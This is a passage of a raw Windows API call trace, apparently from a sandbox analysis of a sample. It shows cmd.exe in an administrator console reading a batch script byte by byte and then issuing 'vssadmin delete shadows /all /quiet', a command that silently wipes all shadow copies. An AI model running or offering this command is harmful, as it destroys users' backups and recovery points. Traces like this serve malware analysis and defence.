lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0063.946] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.947] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.948] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.948] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0063.948] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.948] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.948] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.948] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0063.948] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.948] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.949] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.949] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0063.949] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.949] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.949] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.949] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0063.949] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.949] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.949] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.950] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0063.950] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.950] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.950] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.950] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0063.950] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.950] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.950] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.951] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0063.951] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.951] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.951] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.951] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0063.951] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.951] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.951] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.951] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0063.951] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.952] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.952] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.952] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0063.952] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.952] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.952] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.952] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0063.952] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.953] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.953] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.953] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0063.953] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.953] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.953] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.953] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0063.953] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.953] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.954] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.954] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0063.954] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.954] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.954] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.954] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0063.954] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.954] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.955] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0063.955] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.955] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.955] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.955] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.956] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.956] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.956] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.956] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0063.956] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.957] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.957] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.957] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.957] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0063.957] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.957] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.958] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.958] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0063.958] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.958] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.958] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.958] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0063.958] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.958] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.958] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.958] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0063.959] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.959] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.959] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.959] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0063.959] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.959] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.959] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.959] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0063.959] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.960] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.960] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.960] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0063.960] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.960] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.960] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.960] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0063.960] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.960] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.961] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.961] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0063.961] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.961] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.961] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.961] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0063.961] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.961] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.962] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.962] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0063.962] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.962] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.962] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.962] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0063.962] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.963] GetFileType (hFile=0xe8) returned 0x3 [0063.963] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.963] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.963] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.963] GetFileType (hFile=0xf4) returned 0x3 [0063.963] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.963] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0063.963] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x28fb18, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fb18*=0x24, lpOverlapped=0x0) returned 1 [0063.963] GetProcessHeap () returned 0x3a0000 [0063.964] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4012) returned 0x3bf630 [0063.964] GetProcessHeap () returned 0x3a0000 [0063.964] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bf630 | out: hHeap=0x3a0000) returned 1 [0063.965] GetProcessHeap () returned 0x3a0000 [0063.965] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0) returned 0x3b97e0 [0063.965] GetProcessHeap () returned 0x3a0000 [0063.965] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x22) returned 0x3b4610 [0063.967] GetProcessHeap () returned 0x3a0000 [0063.967] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x48) returned 0x3baa90 [0063.968] GetConsoleOutputCP () returned 0x4e3 [0064.198] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a91bfe0 | out: lpCPInfo=0x4a91bfe0) returned 1 [0064.198] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.198] GetConsoleTitleW (in: lpConsoleTitle=0x28fad0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.199] GetProcessHeap () returned 0x3a0000 [0064.199] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x218) returned 0x3b9910 [0064.199] GetProcessHeap () returned 0x3a0000 [0064.199] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5a) returned 0x3b9b30 [0064.199] GetProcessHeap () returned 0x3a0000 [0064.199] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x420) returned 0x3b9090 [0064.200] SetErrorMode (uMode=0x0) returned 0x0 [0064.200] SetErrorMode (uMode=0x1) returned 0x0 [0064.200] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3b90a0, lpFilePart=0x28f360 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f360*="Desktop") returned 0x25 [0064.200] SetErrorMode (uMode=0x0) returned 0x1 [0064.200] GetProcessHeap () returned 0x3a0000 [0064.200] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9090, Size=0x6e) returned 0x3b9090 [0064.200] GetProcessHeap () returned 0x3a0000 [0064.200] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9090) returned 0x6e [0064.201] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a90f360, nSize=0x2000 | out: 